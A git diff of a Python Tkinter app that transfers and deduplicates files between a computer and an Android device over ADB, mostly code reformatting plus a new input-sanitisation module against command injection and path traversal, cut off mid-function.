self._validate_paths_and_update_button()
@@ -347,7 +366,9 @@ class AndroidFileHandlerGUI(tk.Tk):
self._clear_paths_and_disable_button()
self._disable_browse_buttons()
self.transfer_button.set_recheck_mode(self.recheck_device)
self._update_status("Status: Device disconnected. Please reconnect and enable USB debugging.")
self._update_status(
"Status: Device disconnected. Please reconnect and enable USB debugging."
)
def disable_controls(self):
"""Disable UI controls during transfer."""
@@ -366,7 +387,7 @@ class AndroidFileHandlerGUI(tk.Tk):
def _disable_controls_ui(self):
"""Disable controls on UI thread."""
self._disable_browse_buttons()
def _enable_controls_ui(self):
"""Enable controls on UI thread."""
self._enable_browse_buttons()
@@ -396,13 +417,13 @@ class AndroidFileHandlerGUI(tk.Tk):
"""Handle window close event."""
try:
# Cancel any ongoing transfers
if hasattr(self, 'transfer_manager'):
if hasattr(self, "transfer_manager"):
self.transfer_manager.cancel_transfer()
# Stop any animations
if hasattr(self, 'animation_handler'):
if hasattr(self, "animation_handler"):
self.animation_handler.stop_animation()
self.destroy()
except Exception as e:
print(f"Error during close: {e}")
@@ -416,4 +437,4 @@ def main():
if __name__ == "__main__":
main()
main()
+22 -13
View File
@@ -11,18 +11,25 @@ class ProgressHandler:
"""Handles progress bar updates and status messages."""
def __init__(
self, parent_widget: tk.Widget, progress_bar: ttk.Progressbar, status_label: tk.Label
self,
parent_widget: tk.Widget,
progress_bar: ttk.Progressbar,
status_label: tk.Label,
) -> None:
"""Initialize the progress handler."""
self.parent = parent_widget
self.progress_bar = progress_bar # Don't call as function - it's already created
self.progress_bar = (
progress_bar # Don't call as function - it's already created
)
self.status_label = status_label
self._last_percentage: float = 0.0
self._transfer_active: bool = False # Track if a transfer is actually active
def update_progress(self, bytes_transferred_or_percentage, bytes_total=None) -> None:
def update_progress(
self, bytes_transferred_or_percentage, bytes_total=None
) -> None:
"""Update the progress bar (thread-safe).
Args:
bytes_transferred_or_percentage: Either bytes transferred (if bytes_total provided) or percentage (0-100)
bytes_total: Total number of bytes to transfer (optional)
@@ -37,10 +44,10 @@ class ProgressHandler:
else:
# Called with just percentage
percentage = float(bytes_transferred_or_percentage)
# Ensure percentage is within valid range
percentage = max(0.0, min(100.0, percentage))
# Schedule UI update on main thread using a proper closure
def update_ui() -> None:
self._update_progress_ui(percentage)
@@ -49,15 +56,15 @@ class ProgressHandler:
def _update_progress_ui(self, percentage: float) -> None:
"""Internal method to update progress bar on main thread.
Args:
percentage: Progress percentage (0.0 to 100.0) - used for logging only in indeterminate mode
"""
# Only log significant progress jumps (10% or more)
if abs(percentage - self._last_percentage) >= 10.0:
pass # Could add non-debug logging here if needed
self._last_percentage = percentage
try:
@@ -67,13 +74,14 @@ class ProgressHandler:
elif percentage >= 100:
self.progress_bar.stop() # Stop animation when complete
self._transfer_active = False # Transfer is done
self.parent.update_idletasks()
except Exception as exception_error:
pass # Silent error handling
def reset_progress(self) -> None:
"""Reset progress bar to 0 (thread-safe)."""
def update_ui() -> None:
try:
self.progress_bar.stop() # Stop any animation
@@ -91,10 +99,11 @@ class ProgressHandler:
def set_status(self, message: str) -> None:
"""Set the status label text (thread-safe).
Args:
message: The status message to display
"""
# Schedule UI update on main thread
def update_ui() -> None:
self._set_status_ui(message)
@@ -103,7 +112,7 @@ class ProgressHandler:
def _set_status_ui(self, message: str) -> None:
"""Internal method to set status label on main thread.
Args:
message: The status message to display
"""
@@ -111,4 +120,4 @@ class ProgressHandler:
self.status_label.config(text=message)
self.parent.update_idletasks()
except Exception as exception_error:
pass # Silent error handling
pass # Silent error handling
+1 -1
View File
@@ -1,4 +1,4 @@
"""
Managers Package
Business logic managers for device and transfer operations.
"""
"""
+37 -31
View File
@@ -15,10 +15,14 @@ except ImportError:
class DeviceManager:
"""Manages Android device connections and ADB operations."""
def __init__(self, parent_window: tk.Tk, status_callback: Optional[Callable[[str], None]] = None):
def __init__(
self,
parent_window: tk.Tk,
status_callback: Optional[Callable[[str], None]] = None,
):
"""Initialize the device manager.
Args:
parent_window: The main window instance
status_callback: Callback function for status updates
@@ -27,14 +31,14 @@ class DeviceManager:
self.status_callback = status_callback
self.adb_manager = ADBManager()
self.device_connected = False
# Set up ADB callbacks
self.adb_manager.set_status_callback(self._on_adb_status_update)
self.adb_manager.set_progress_callback(self._on_adb_progress_update)
def initialize_adb(self) -> bool:
"""Initialize ADB and download tools if needed.
Returns:
True if ADB is available and ready, False otherwise
"""
@@ -46,14 +50,14 @@ class DeviceManager:
"and speeds up file transfers over USB between computers and Android devices. "
"Please do not delete or move the platform-tools folder that will be "
"downloaded. These are tools written by Google "
"and they are required for this application to function properly."
"and they are required for this application to function properly.",
)
self._update_status("ADB not found locally. Downloading...")
self.parent.update()
self.adb_manager.download_and_extract_adb()
success = is_adb_available()
if success:
self._update_status("ADB downloaded and ready.")
return True
@@ -64,18 +68,18 @@ class DeviceManager:
)
messagebox.showerror("Error", "Failed to download ADB tools. Exiting.")
return False
return True
def check_device_connection(self) -> Optional[str]:
"""Check for device connection and update status.
Returns:
Device ID if connected, None otherwise
"""
self._update_status("Checking for connected device...")
self.parent.update()
device = self.adb_manager.check_device()
if device:
self.device_connected = True
@@ -88,34 +92,36 @@ class DeviceManager:
"securely inserted, USB debugging is enabled, and that File Transfer mode is turned on."
)
return None
def is_remote_file(self, remote_path: str) -> bool:
"""Check if the remote path points to a file (not a directory).
Args:
remote_path: Path on the Android device
Returns:
True if it's a file, False if it's a directory or check fails
"""
try:
result = self.adb_manager.run_adb_command(["shell", "ls", "-la", remote_path])
result = self.adb_manager.run_adb_command(
["shell", "ls", "-la", remote_path]
)
if isinstance(result, tuple) and len(result) == 3:
stdout, stderr, returncode = result
if returncode == 0 and stdout:
# If the output starts with '-', it's a regular file
return stdout.strip().startswith('-')
return stdout.strip().startswith("-")
return False
except Exception:
return False
def get_file_transfer_methods(self, direction: str, is_file: bool):
"""Get the appropriate transfer methods based on direction and type.
Args:
direction: Transfer direction ('pull' or 'push')
is_file: Whether transferring a file (True) or folder (False)
Returns:
Tuple of (transfer_method, transfer_type)
"""
@@ -129,44 +135,44 @@ class DeviceManager:
return self.adb_manager.push_file, "file"
else:
return self.adb_manager.push_folder_with_dedup, "folder"
def cancel_current_operation(self) -> None:
"""Cancel the current ADB operation."""
try:
self.adb_manager.cancel_current_operation()
except Exception as e:
print(f"Error cancelling operation: {e}")
def cancel_transfer(self) -> bool:
"""Cancel the current transfer operation.
Returns:
True if transfer was cancelled successfully, False otherwise
"""
return self.adb_manager.cancel_transfer()
def _update_status(self, message: str) -> None:
"""Update status through callback if available.
Args:
message: Status message to display
"""
if self.status_callback:
self.status_callback(message)
def _on_adb_status_update(self, message: str) -> None:
"""Handle status updates from ADB manager.
Args:
message: Status message from ADB operations
"""
self._update_status(message)
def _on_adb_progress_update(self, percentage: int) -> None:
"""Handle progress updates from ADB manager.
Args:
percentage: Progress percentage (0-100)
"""
# Currently we ignore progress updates and rely on status updates
pass
pass
+136 -137
View File
@@ -12,18 +12,23 @@ try:
from ..gui.handlers.animation_handler import AnimationHandler
from ..gui.dialogs.dialog_manager import DialogManager
except ImportError:
from device_manager import DeviceManager
from managers.device_manager import DeviceManager
from gui.handlers.animation_handler import AnimationHandler
from gui.dialogs.dialog_manager import DialogManager
class TransferManager:
"""Manages file transfer operations and coordination."""
def __init__(self, parent_window, device_manager: DeviceManager,
animation_handler: AnimationHandler, dialog_manager: DialogManager):
def __init__(
self,
parent_window,
device_manager: DeviceManager,
animation_handler: AnimationHandler,
dialog_manager: DialogManager,
):
"""Initialize the transfer manager.
Args:
parent_window: The main window instance
device_manager: Device manager instance
@@ -34,89 +39,86 @@ class TransferManager:
self.device_manager = device_manager
self.animation_handler = animation_handler
self.dialog_manager = dialog_manager
# Transfer tracking
self.current_transfer_id = 0
# UI callbacks
self.ui_callbacks = {}
def set_ui_callback(self, name: str, callback: Callable) -> None:
"""Set a UI callback function.
Args:
name: Name of the callback
callback: Function to call
"""
self.ui_callbacks[name] = callback
def set_status_callback(self, callback: Callable[[str], None]) -> None:
"""Set the status update callback.
Args:
callback: Function to call for status updates
"""
self.ui_callbacks['status'] = callback
self.ui_callbacks["status"] = callback
self.status_callback = callback
def set_controls_callback(self, callback: Callable[[], None]) -> None:
"""Set the controls update callback.
Args:
callback: Function to call for enabling/disabling controls
"""
self.controls_callback = callback
def start_transfer(self, direction: str, source_path: str, dest_path: str,
completion_callback: Optional[Callable] = None) -> bool:
def start_transfer(
self,
direction: str,
source_path: str,
dest_path: str,
completion_callback: Optional[Callable] = None,
) -> bool:
"""Start a file transfer operation.
Args:
direction: Transfer direction ('pull' or 'push')
source_path: Source file or folder path
dest_path: Destination path
completion_callback: Callback to call when transfer completes
Returns:
True if transfer was started successfully, False otherwise
"""
# Increment transfer ID for cancellation support
self.current_transfer_id += 1
transfer_id = self.current_transfer_id
# Determine if transferring a file or folder
if direction == "pull":
is_file = self._is_remote_file(source_path)
else:
is_file = os.path.isfile(source_path)
# Disable controls during transfer
if 'disable_controls' in self.ui_callbacks:
self.ui_callbacks['disable_controls']()
if "disable_controls" in self.ui_callbacks:
self.ui_callbacks["disable_controls"]()
# Start transfer in background thread
transfer_thread = threading.Thread(
target=self._transfer_thread,
args=(direction, source_path, dest_path, transfer_id, is_file, completion_callback),
daemon=True
args=(direction, source_path, dest_path, transfer_id, is_file),
daemon=True,
)
transfer_thread.start()
return True
def cancel_transfer(self) -> None:
"""Cancel the current transfer operation."""
# Increment transfer ID to invalidate current transfer
self.current_transfer_id += 1
# Cancel ADB operation
self.device_manager.cancel_current_operation()
def _is_remote_file(self, remote_path: str) -> bool:
"""Check if a remote path is a file.
Args:
remote_path: Path on Android device
Returns:
True if path is a file, False if it's a folder
"""
@@ -126,112 +128,79 @@ class TransferManager:
except Exception:
# If we can't determine, assume it's a folder for safety
return False
def _transfer_thread(self, direction: str, source_path: str, dest_path: str,
transfer_id: int, is_file: bool, completion_callback: Optional[Callable]):
"""Handle file transfer in background thread.
Args:
direction: Transfer direction ('pull' or 'push')
source_path: Source file or folder path
dest_path: Destination path
transfer_id: Transfer ID for cancellation
is_file: True if transferring a file
completion_callback: Callback for completion
"""
try:
# Check if transfer is still valid
if transfer_id != self.current_transfer_id:
return
# Get ADB manager from device manager
adb_manager = self.device_manager.adb_manager
# Perform the transfer
if direction == "pull":
if is_file:
success, stats = adb_manager.pull_file(source_path, dest_path)
else:
success, stats = adb_manager.pull_folder(source_path, dest_path)
operation = "pulled from Android device"
else: # push
if is_file:
success, stats = adb_manager.push_file(source_path, dest_path)
else:
success, stats = adb_manager.push_folder(source_path, dest_path)
operation = "pushed to Android device"
# Check if transfer was cancelled
if transfer_id != self.current_transfer_id:
return
# Call completion callback on main thread
if completion_callback:
self.parent.after(0, lambda: completion_callback(success, stats, operation))
except Exception as e:
# Handle errors on main thread
if transfer_id == self.current_transfer_id and 'show_error' in self.ui_callbacks:
self.parent.after(0, lambda: self.ui_callbacks["show_error"](f"Transfer error: {str(e)}"))
def cancel_transfer(self) -> bool:
"""Cancel the current transfer operation.
Returns:
True if transfer was cancelled successfully, False otherwise
"""
# Cancel the actual ADB process
cancelled = self.device_manager.cancel_transfer()
# Increment transfer ID to invalidate current transfer
self.current_transfer_id += 1
# Stop animation and restore UI
self.animation_handler.stop_animation()
# Update status
status = "Transfer cancelled by user." if cancelled else "Transfer cancellation failed."
status = (
"Transfer cancelled by user."
if cancelled
else "Transfer cancellation failed."
)
self._update_status(status)
return cancelled
def _validate_transfer_paths(self, direction: str, source_path: str, dest_path: str) -> bool:
def _validate_transfer_paths(
self, direction: str, source_path: str, dest_path: str
) -> bool:
"""Validate transfer paths based on direction.
Args:
direction: Transfer direction ('pull' or 'push')
source_path: Source path
dest_path: Destination path
Returns:
True if paths are valid, False otherwise
"""
if not source_path or not dest_path:
self.dialog_manager.show_error("Input Error", "Both source and destination paths are required.")
self.dialog_manager.show_error(
"Input Error", "Both source and destination paths are required."
)
return False
if direction == "push":
# For push operations, validate local source path exists
if not os.path.exists(source_path):
self.dialog_manager.show_error(
"Input Error",
f"Source path does not exist: {source_path}"
"Input Error", f"Source path does not exist: {source_path}"
)
return False
else: # pull operations
# For pull operations, validate local destination is a directory
if not os.path.isdir(dest_path):
self.dialog_manager.show_error(
"Input Error",
"Destination must be a valid directory for pulled files."
"Input Error",
"Destination must be a valid directory for pulled files.",
)
return False
return True
def _transfer_thread(self, direction: str, source_path: str, dest_path: str,
transfer_id: int, is_file: bool) -> None:
def _transfer_thread(
self,
direction: str,
source_path: str,
dest_path: str,
transfer_id: int,
is_file: bool,
) -> None:
"""Background thread function for transfer operations.
Args:
direction: Transfer direction ('pull' or 'push')
source_path: Source path
@@ -243,7 +212,7 @@ class TransferManager:
# Check if this transfer is still current
if self.current_transfer_id != transfer_id:
return
# Recheck device connectivity before proceeding
device = self.device_manager.adb_manager.check_device()
if not device:
@@ -251,15 +220,22 @@ class TransferManager:
self.animation_handler.stop_animation()
self.parent.after(0, self._handle_device_disconnection)
return
# Get the appropriate transfer method
transfer_method, transfer_type = self.device_manager.get_file_transfer_methods(direction, is_file)
transfer_method, transfer_type = (
self.device_manager.get_file_transfer_methods(direction, is_file)
)
# Perform the transfer
success, stats = self._execute_transfer(
direction, source_path, dest_path, transfer_method, transfer_type, is_file
direction,
source_path,
dest_path,
transfer_method,
transfer_type,
is_file,
)
if success and self.current_transfer_id == transfer_id:
self.animation_handler.stop_animation()
transfer_desc = "File" if is_file else "Folder"
@@ -267,31 +243,49 @@ class TransferManager:
f"{transfer_desc} transfer completed successfully. "
"To start another transfer, please select another file or folder."
)
# Show debugging reminder and transfer statistics
self.parent.after(0, self.dialog_manager.show_disable_debugging_reminder)
self.parent.after(
0, self.dialog_manager.show_disable_debugging_reminder
)
if stats is not None:
self.parent.after(0, lambda: self.dialog_manager.show_transfer_stats(
stats, direction.capitalize(), self.device_manager.adb_manager.deduplicator
))
self.parent.after(
0,
lambda: self.dialog_manager.show_transfer_stats(
stats,
direction.capitalize(),
),
)
except Exception as e:
if self.current_transfer_id == transfer_id:
self.animation_handler.stop_animation()
transfer_desc = "file" if is_file else "folder"
error_msg = f"{direction.capitalize()} {transfer_desc} operation failed: {e}"
self.parent.after(0, lambda: self.dialog_manager.show_error("Transfer Error", error_msg))
error_msg = (
f"{direction.capitalize()} {transfer_desc} operation failed: {e}"
)
self.parent.after(
0,
lambda: self.dialog_manager.show_error("Transfer Error", error_msg),
)
finally:
if self.current_transfer_id == transfer_id:
self.animation_handler.stop_animation()
if self.controls_callback:
self.parent.after(0, self.controls_callback)
def _execute_transfer(self, direction: str, source_path: str, dest_path: str,
transfer_method: Callable, transfer_type: str, is_file: bool) -> Tuple[bool, Optional[Dict[str, Any]]]:
def _execute_transfer(
self,
direction: str,
source_path: str,
dest_path: str,
transfer_method: Callable,
transfer_type: str,
is_file: bool,
) -> Tuple[bool, Optional[Dict[str, Any]]]:
"""Execute the actual transfer operation.
Args:
direction: Transfer direction
source_path: Source path
@@ -299,7 +293,7 @@ class TransferManager:
transfer_method: Transfer method to call
transfer_type: Type of transfer ('file' or 'folder')
is_file: True if transferring a file
Returns:
Tuple of (success, stats_dict or None)
"""
@@ -318,7 +312,7 @@ class TransferManager:
# File transfers return just success
success = transfer_method(source_path, dest_path)
return success, None
def _handle_device_disconnection(self) -> None:
"""Handle device disconnection during transfers."""
self.device_manager.device_connected = False
@@ -327,19 +321,19 @@ class TransferManager:
"securely inserted, USB debugging is enabled, and that File Transfer mode is turned on."
)
self.dialog_manager.show_enable_debugging_instructions()
def _update_status(self, message: str) -> None:
"""Update status through callback if available.
Args:
message: Status message to display
"""
if self.status_callback:
self.status_callback(message)
def handle_adb_status_update(self, message: str) -> None:
"""Handle status updates from ADB operations.
Args:
message: Status message from ADB
"""
@@ -351,10 +345,13 @@ class TransferManager:
total = int(parts[2])
self.animation_handler.update_transfer_progress(current, total)
return
# Check for animation state changes
if self.animation_handler.is_animation_running():
if "Scanning for duplicates" in message and not self.animation_handler.is_scanning():
if (
"Scanning for duplicates" in message
and not self.animation_handler.is_scanning()
):
# Already scanning, ignore duplicate messages
return
elif "Starting transfer" in message or "Transferring" in message:
@@ -362,9 +359,11 @@ class TransferManager:
self.animation_handler.stop_animation()
self.animation_handler.start_transfer_animation()
return
elif ("Duplicate scan complete" in message or
"No duplicates found" in message or
"All files already exist" in message):
elif (
"Duplicate scan complete" in message
or "No duplicates found" in message
or "All files already exist" in message
):
# Allow these messages to show briefly before transfer starts
self.animation_handler.stop_animation()
self._update_status(message)
@@ -376,6 +375,6 @@ class TransferManager:
# Start scanning animation
self.animation_handler.start_scanning_animation()
return
# Normal status update
self._update_status(message)
self._update_status(message)
+1 -1
View File
@@ -1,4 +1,4 @@
"""
Utils Package
Utility functions and helper modules.
"""
"""
+132 -88
View File
@@ -10,44 +10,49 @@ from typing import Optional, Dict, List, Tuple, Callable
class FileDeduplicator:
"""Handles file hash computation and duplicate detection."""
def __init__(self, status_callback: Optional[Callable[[str], None]] = None,
progress_callback: Optional[Callable[[int], None]] = None):
def __init__(
self,
status_callback: Optional[Callable[[str], None]] = None,
progress_callback: Optional[Callable[[int], None]] = None,
):
"""Initialize the deduplicator with optional callbacks.
Args:
status_callback: Function to call with status updates
progress_callback: Function to call with progress updates (0-100)
"""
self.status_callback = status_callback
self.progress_callback = progress_callback
def _update_status(self, message: str) -> None:
"""Update status if callback is available."""
if self.status_callback:
self.status_callback(message)
def _update_progress(self, percentage: int) -> None:
"""Update progress if callback is available."""
if self.progress_callback:
self.progress_callback(percentage)
def compute_local_file_hash(self, file_path: str, algorithm: str = 'sha256') -> Optional[str]:
def compute_local_file_hash(
self, file_path: str, algorithm: str = "sha256"
) -> Optional[str]:
"""Compute hash of a local file.
Args:
file_path: Path to the local file
algorithm: Hash algorithm to use ('md5', 'sha1', 'sha256')
Returns:
Hex digest of the file hash, or None if error
"""
try:
if not os.path.isfile(file_path):
return None
hash_obj = hashlib.new(algorithm)
with open(file_path, 'rb') as file_handle:
with open(file_path, "rb") as file_handle:
# Read in chunks to handle large files efficiently
for chunk in iter(lambda: file_handle.read(8192), b""):
hash_obj.update(chunk)
@@ -56,139 +61,162 @@ class FileDeduplicator:
self._update_status(f"Error computing hash for {file_path}: {exception}")
return None
def compute_remote_file_hash(self, remote_path: str, algorithm: str = 'sha256',
adb_command_runner: Optional[Callable] = None) -> Optional[str]:
def compute_remote_file_hash(
self,
remote_path: str,
algorithm: str = "sha256",
adb_command_runner: Optional[Callable] = None,
) -> Optional[str]:
"""Compute hash of a file on the Android device using ADB shell.
Args:
remote_path: Path to the file on the Android device
algorithm: Hash algorithm to use ('md5', 'sha1', 'sha256')
adb_command_runner: Function that runs ADB commands and returns (stdout, stderr, returncode)
Returns:
Hex digest of the file hash, or None if error
"""
if not adb_command_runner:
self._update_status("No ADB command runner provided")
return None
try:
# Map algorithm names to Android shell commands
hash_commands = {
'md5': 'md5sum',
'sha1': 'sha1sum',
'sha256': 'sha256sum'
}
hash_commands = {"md5": "md5sum", "sha1": "sha1sum", "sha256": "sha256sum"}
if algorithm not in hash_commands:
self._update_status(f"Unsupported hash algorithm: {algorithm}")
return None
cmd = ['shell', hash_commands[algorithm], remote_path]
cmd = ["shell", hash_commands[algorithm], remote_path]
stdout, stderr, returncode = adb_command_runner(cmd, capture_output=True)
if returncode != 0 or not stdout:
self._update_status(f"Failed to compute remote hash: {stderr}")
return None
# Parse output: "hash_value filename"
hash_value = stdout.split()[0] if stdout else None
return hash_value.lower() if hash_value else None
except Exception as exception:
self._update_status(f"Error computing remote hash for {remote_path}: {exception}")
self._update_status(
f"Error computing remote hash for {remote_path}: {exception}"
)
return None
def check_files_identical(self, local_path: str, remote_path: str,
adb_command_runner: Optional[Callable] = None,
algorithm: str = 'sha256') -> bool:
def check_files_identical(
self,
local_path: str,
remote_path: str,
adb_command_runner: Optional[Callable] = None,
algorithm: str = "sha256",
) -> bool:
"""Check if local and remote files are identical by comparing hashes.
Args:
local_path: Path to the local file
remote_path: Path to the remote file
adb_command_runner: Function that runs ADB commands
algorithm: Hash algorithm to use
Returns:
True if files are identical, False otherwise
"""
local_hash = self.compute_local_file_hash(local_path, algorithm)
remote_hash = self.compute_remote_file_hash(remote_path, algorithm, adb_command_runner)
remote_hash = self.compute_remote_file_hash(
remote_path, algorithm, adb_command_runner
)
if local_hash is None or remote_hash is None:
return False
return local_hash == remote_hash
def build_local_file_hash_map(self, file_paths: List[str],
algorithm: str = 'sha256') -> Dict[str, str]:
def build_local_file_hash_map(
self, file_paths: List[str], algorithm: str = "sha256"
) -> Dict[str, str]:
"""Build a mapping of local file paths to their hashes.
Args:
file_paths: List of local file paths to hash
algorithm: Hash algorithm to use
Returns:
Dictionary mapping file paths to their hash values
"""
hash_map = {}
total_files = len(file_paths)
for index, file_path in enumerate(file_paths):
file_hash = self.compute_local_file_hash(file_path, algorithm)
if file_hash:
hash_map[file_path] = file_hash
# Update progress
if total_files > 0:
progress_percentage = int((index + 1) * 100 / total_files)
self._update_progress(progress_percentage)
self._update_status(f"Computing local hashes... {index + 1}/{total_files}")
self._update_status(
f"Computing local hashes... {index + 1}/{total_files}"
)
return hash_map
def build_remote_file_hash_map(self, file_paths: List[str],
adb_command_runner: Optional[Callable] = None,
algorithm: str = 'sha256') -> Dict[str, str]:
def build_remote_file_hash_map(
self,
file_paths: List[str],
adb_command_runner: Optional[Callable] = None,
algorithm: str = "sha256",
) -> Dict[str, str]:
"""Build a mapping of remote file paths to their hashes.
Args:
file_paths: List of remote file paths to hash
adb_command_runner: Function that runs ADB commands
algorithm: Hash algorithm to use
Returns:
Dictionary mapping file paths to their hash values
"""
if not adb_command_runner:
self._update_status("No ADB command runner provided")
return {}
hash_map = {}
total_files = len(file_paths)
for index, file_path in enumerate(file_paths):
file_hash = self.compute_remote_file_hash(file_path, algorithm, adb_command_runner)
file_hash = self.compute_remote_file_hash(
file_path, algorithm, adb_command_runner
)
if file_hash:
hash_map[file_path] = file_hash
# Update progress
if total_files > 0:
progress_percentage = int((index + 1) * 100 / total_files)
self._update_progress(progress_percentage)
self._update_status(f"Computing remote hashes... {index + 1}/{total_files}")
self._update_status(
f"Computing remote hashes... {index + 1}/{total_files}"
)
return hash_map
def find_duplicate_files(self, source_files: List[str], target_files: List[str],
is_remote_source: bool = False, is_remote_target: bool = False,
adb_command_runner: Optional[Callable] = None,
algorithm: str = 'sha256') -> Tuple[List[str], List[str]]:
def find_duplicate_files(
self,
source_files: List[str],
target_files: List[str],
is_remote_source: bool = False,
is_remote_target: bool = False,
adb_command_runner: Optional[Callable] = None,
algorithm: str = "sha256",
) -> Tuple[List[str], List[str]]:
"""Find files that are duplicates between source and target lists.
Args:
source_files: List of source file paths
target_files: List of target file paths
@@ -196,56 +224,68 @@ class FileDeduplicator:
is_remote_target: True if target files are on Android device
adb_command_runner: Function that runs ADB commands
algorithm: Hash algorithm to use
Returns:
Tuple of (files_to_transfer, duplicate_files)
"""
self._update_status("Building hash maps for duplicate detection...")
# Build hash maps for both source and target
if is_remote_source:
source_hashes = self.build_remote_file_hash_map(source_files, adb_command_runner, algorithm)
source_hashes = self.build_remote_file_hash_map(
source_files, adb_command_runner, algorithm
)
else:
source_hashes = self.build_local_file_hash_map(source_files, algorithm)
if is_remote_target:
target_hashes = self.build_remote_file_hash_map(target_files, adb_command_runner, algorithm)
target_hashes = self.build_remote_file_hash_map(
target_files, adb_command_runner, algorithm
)
else:
target_hashes = self.build_local_file_hash_map(target_files, algorithm)
# Find duplicates by comparing hashes
target_hash_values = set(target_hashes.values())
files_to_transfer = []
duplicate_files = []
for source_file in source_files:
source_hash = source_hashes.get(source_file)
if source_hash and source_hash in target_hash_values:
duplicate_files.append(source_file)
else:
files_to_transfer.append(source_file)
self._update_status(f"Found {len(duplicate_files)} duplicates, {len(files_to_transfer)} files to transfer")
self._update_status(
f"Found {len(duplicate_files)} duplicates, {len(files_to_transfer)} files to transfer"
)
return files_to_transfer, duplicate_files
def get_file_size(self, file_path: str, is_remote: bool = False,
adb_command_runner: Optional[Callable] = None) -> Optional[int]:
def get_file_size(
self,
file_path: str,
is_remote: bool = False,
adb_command_runner: Optional[Callable] = None,
) -> Optional[int]:
"""Get the size of a file in bytes.
Args:
file_path: Path to the file
is_remote: True if file is on Android device
adb_command_runner: Function that runs ADB commands
Returns:
File size in bytes, or None if error
"""
try:
if is_remote and adb_command_runner:
cmd = ['shell', 'stat', '-c', '%s', file_path]
stdout, stderr, returncode = adb_command_runner(cmd, capture_output=True)
cmd = ["shell", "stat", "-c", "%s", file_path]
stdout, stderr, returncode = adb_command_runner(
cmd, capture_output=True
)
if returncode == 0 and stdout.strip().isdigit():
return int(stdout.strip())
else:
@@ -258,35 +298,39 @@ class FileDeduplicator:
except Exception:
return None
def calculate_transfer_savings(self, duplicate_files: List[str], is_remote: bool = False,
adb_command_runner: Optional[Callable] = None) -> Tuple[int, int]:
def calculate_transfer_savings(
self,
duplicate_files: List[str],
is_remote: bool = False,
adb_command_runner: Optional[Callable] = None,
) -> Tuple[int, int]:
"""Calculate the number of bytes and files that would be saved by skipping duplicates.
Args:
duplicate_files: List of duplicate file paths
is_remote: True if files are on Android device
adb_command_runner: Function that runs ADB commands
Returns:
Tuple of (bytes_saved, files_saved)
"""
bytes_saved = 0
files_saved = 0
for file_path in duplicate_files:
file_size = self.get_file_size(file_path, is_remote, adb_command_runner)
if file_size is not None:
bytes_saved += file_size
files_saved += 1
return bytes_saved, files_saved
def format_bytes(self, bytes_value: int) -> str:
"""Format bytes into human-readable string.
Args:
bytes_value: Number of bytes
Returns:
Formatted string (e.g., "1.5 MB")
"""
+176
View File
@@ -0,0 +1,176 @@
"""
Security utilities for input sanitization and validation.
Prevents command injection and path traversal attacks.
"""
import os
import re
from typing import Optional
# Pre-compiled regex patterns for performance
_DANGEROUS_CHAR_PATTERN = re.compile(r"[;|&$`\n\r><(){}[\]!]")
_DANGEROUS_PATH_PATTERN = re.compile(r"[;|&`\n\r]|\$[({]|&&|\|\||>>")
def sanitize_path_component(component: str) -> str:
"""Sanitize a single path component to prevent injection.
Args:
component: A single path component (filename or directory name)
Returns:
Sanitized path component
Raises:
ValueError: If the component contains dangerous characters
"""
if not component:
raise ValueError("Path component cannot be empty")
# Check for null bytes
if "\x00" in component:
raise ValueError("Path component contains null byte")
# Check for dangerous characters using pre-compiled regex
# Matches any shell metacharacters that could be used for command injection
match = _DANGEROUS_CHAR_PATTERN.search(component)
if match:
raise ValueError(
f"Path component contains dangerous character: {match.group()}"
)
# Check for command substitution patterns
if "$(" in component or "${" in component:
raise ValueError("Path component contains command substitution pattern")
return component
def sanitize_android_path(path: str) -> str:
"""Sanitize an Android device path to prevent command injection.
Args:
path: Android device path
Returns:
Sanitized path
Raises:
ValueError: If the path contains dangerous patterns
"""
if not path:
raise ValueError("Path cannot be empty")
# Remove any leading/trailing whitespace
path = path.strip()
# Check for null bytes
if "\x00" in path:
raise ValueError("Path contains null byte")
# Check for command injection patterns using pre-compiled regex
# Note: We check for shell metacharacters that could be used for command injection
# We allow spaces and most characters that are valid in Android paths
# Pattern matches: semicolon, pipe, ampersand, dollar-paren, dollar-brace,
# backtick, newline, carriage return, double-ampersand, double-pipe, double-redirect
match = _DANGEROUS_PATH_PATTERN.search(path)
if match:
raise ValueError(f"Path contains dangerous pattern: {match.group()}")
# Note: We allow spaces, Unicode characters, and other characters that are
# valid in Android filesystem paths. The dangerous pattern check above is
# sufficient to prevent command injection since we pass paths as arguments
# to subprocess (not through shell=True).
return path
def sanitize_local_path(
path: str, base_dir: Optional[str] = None, allow_nonexistent: bool = True
) -> str:
"""Sanitize a local filesystem path and check for path traversal.
Args:
path: Local filesystem path
base_dir: Optional base directory to restrict path within
allow_nonexistent: If True, allow paths that don't exist yet (uses abspath instead of realpath)
Returns:
Sanitized and normalized absolute path
Raises:
ValueError: If the path is dangerous or attempts traversal outside base_dir
"""
if not path:
raise ValueError("Path cannot be empty")
# Remove any leading/trailing whitespace
path = path.strip()
# Check for null bytes
if "\x00" in path:
raise ValueError("Path contains null byte")
# Normalize the path to resolve .. and symlinks
# For non-existent paths, use abspath to avoid CWD resolution issues
# For existing paths, use realpath to resolve symlinks and prevent escapes
try:
if allow_nonexistent and not os.path.exists(path):
# Path doesn't exist yet (e.g., pull destination) - use abspath
normalized_path = os.path.normpath(os.path.abspath(path))
else:
# Path exists or we're strict - use realpath to resolve symlinks
normalized_path = os.path.normpath(os.path.realpath(path))
except (ValueError, OSError) as e:
raise ValueError(f"Invalid path: {e}")
# If base_dir is specified, ensure the path is within it
# This check is sufficient - after normalization, if the path doesn't start
# with base_dir, it's outside the allowed directory tree
if base_dir:
try:
# Use same resolution strategy for base_dir
if allow_nonexistent and not os.path.exists(base_dir):
base_dir_abs = os.path.normpath(os.path.abspath(base_dir))
else:
base_dir_abs = os.path.normpath(os.path.realpath(base_dir))
# Check if the normalized path starts with the base directory
if (
not normalized_path.startswith(base_dir_abs + os.sep)
and normalized_path != base_dir_abs
):
raise ValueError(
f"Path traversal detected: path is outside base directory"
)
except (ValueError, OSError) as e:
raise ValueError(f"Invalid base directory: {e}")
return normalized_path
def validate_device_id(device_id: str) -> str:
"""Validate an Android device ID.
Args:
device_id: Device ID string from ADB
Returns:
Validated device ID
Raises:
ValueError: If the device ID is invalid
"""
if not device_id:
raise ValueError("Device ID cannot be empty")
# Device IDs should only contain alphanumeric characters, dots, colons, and hyphens
if not re.match(r"^[a-zA-Z0-9.:_-]+$", device_id):
raise ValueError("Device ID contains invalid characters")
# Check for command injection patterns
dangerous_chars = [";", "|", "&", "$", "`", "\n", "\r", " ", ">", "<"]
for char in dangerous_chars:
if char in device_id:
